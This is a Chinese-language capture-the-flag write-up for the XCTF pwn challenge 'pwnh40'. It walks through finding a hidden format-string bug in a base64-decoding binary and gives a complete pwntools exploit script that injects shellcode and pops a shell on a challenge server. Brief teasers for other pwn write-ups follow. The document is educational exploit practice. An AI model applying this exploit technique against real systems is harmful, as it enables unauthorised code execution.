首先,檢查一下程式的保護機制
pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。
然後,我們用ida分析一下
看似好像這裡sprintf不存在漏洞,我們再看看其他函式
看見乙個很複雜的函式,我們看看那個位址處是什麼
是查表法,看起來像某種加密或解密演算法,又由於不需要秘鑰,我們推測可能是base64加密或解密,然後,我們測試一下。
我們輸入明文,輸出總是亂碼,我們輸入base64字串,發現正常輸出了解密後的內容,由此,我們知道了,這個函式的作用是解密base64字串。
然後,我們繼續找找,也沒發現什麼可疑的地方。再看看其他沒有用到的函式
發現這裡有乙個格式化字串漏洞的函式,但是似乎這個函式沒有被呼叫,真的是這樣嗎?
對於sub_8048b76函式,ida檢視偽**是這樣的
我們再看看彙編**
程式結尾,通過修改
esp,決定了
retn的返回位址,這類似於
rop技術的思想,由此看來,分析程式不能完全依靠
ida的為**
分析完了,其實就是存在乙個非棧上的格式化字串漏洞。
我們通過
%4$hhn來修改
%12$處的資料為
%13$的位址,然後通過
%12$hhn來修改
%13$處為
shellcode的位址,然後就能
getshell了。我們只需要覆蓋低
2位元組就行了,因為前面是一樣的。需要注意的是,這幾個操作必須在一次完成。
我們需要洩露%4$處的資料,以計算出我們需要攻擊的目標%13$的位址
payload = base64.b64encode(
'%4$p'
) sh.sendline(payload)
sh.recvuntil(
'0x'
) #
洩露我們需要修改的目標的位址
target_addr = int(sh.recvuntil(
'\n'
,drop = true),16) + 4
接下來,就是一次性的修改,getshell。
綜上,我們的exp指令碼
#coding:utf8
frompwnimport*
importbase64
sh = remote(
'111.198.29.45'
,31218)
#sh = process('./pwnh40')
elf = elf(
'./pwnh40'
) #
我們輸入的
shellcode
解密後會被儲存到這裡
shellcode_addr = 0x804a0a0
#shellcode
shellcode = asm(shellcraft.i386.sh())
payload = base64.b64encode(
'%4$p'
) sh.sendline(payload)
sh.recvuntil(
'0x'
) #
洩露我們需要修改的目標的位址
target_addr = int(sh.recvuntil(
'\n'
,drop = true),16) + 4
printhex(target_addr) #傳送
shellcode
,同時,
覆蓋%12$
處為target
位址,同時將
target
處修改為
shellcode_addr
payload = base64.b64encode(shellcode +
'%'+ str((target_addr & 0xff) - len(shellcode)) +
'c%4$hhn%'
+ str((shellcode_addr & 0xff) - (target_addr & 0xff)) +
'c%12$hn'
) #getshell
sh.sendline(payload)
sh.interactive()
本題告訴我們,分析程式時,不要完全依賴ida的偽**。同時,對於一些複雜的演算法,可以推測並嘗試一下,說不定就是呢。
攻防世界PWN之Welpwn題解
首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...
攻防世界PWN之dubblesort題解
首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...
攻防世界PWN之easy fmt題解
首先,檢查一下程式的保護機制 然後,我們用ida分析一下 存在乙個明顯的格式化字串漏洞,但是只能用一次,後面exit 0 會結束程式 checkin需要爆破 是乙個隨機數,且只有一位,我們直接輸入2,成功率1 10 為了不讓程式退出,多次利用printf,我們就得利用第一次的printf把exit的...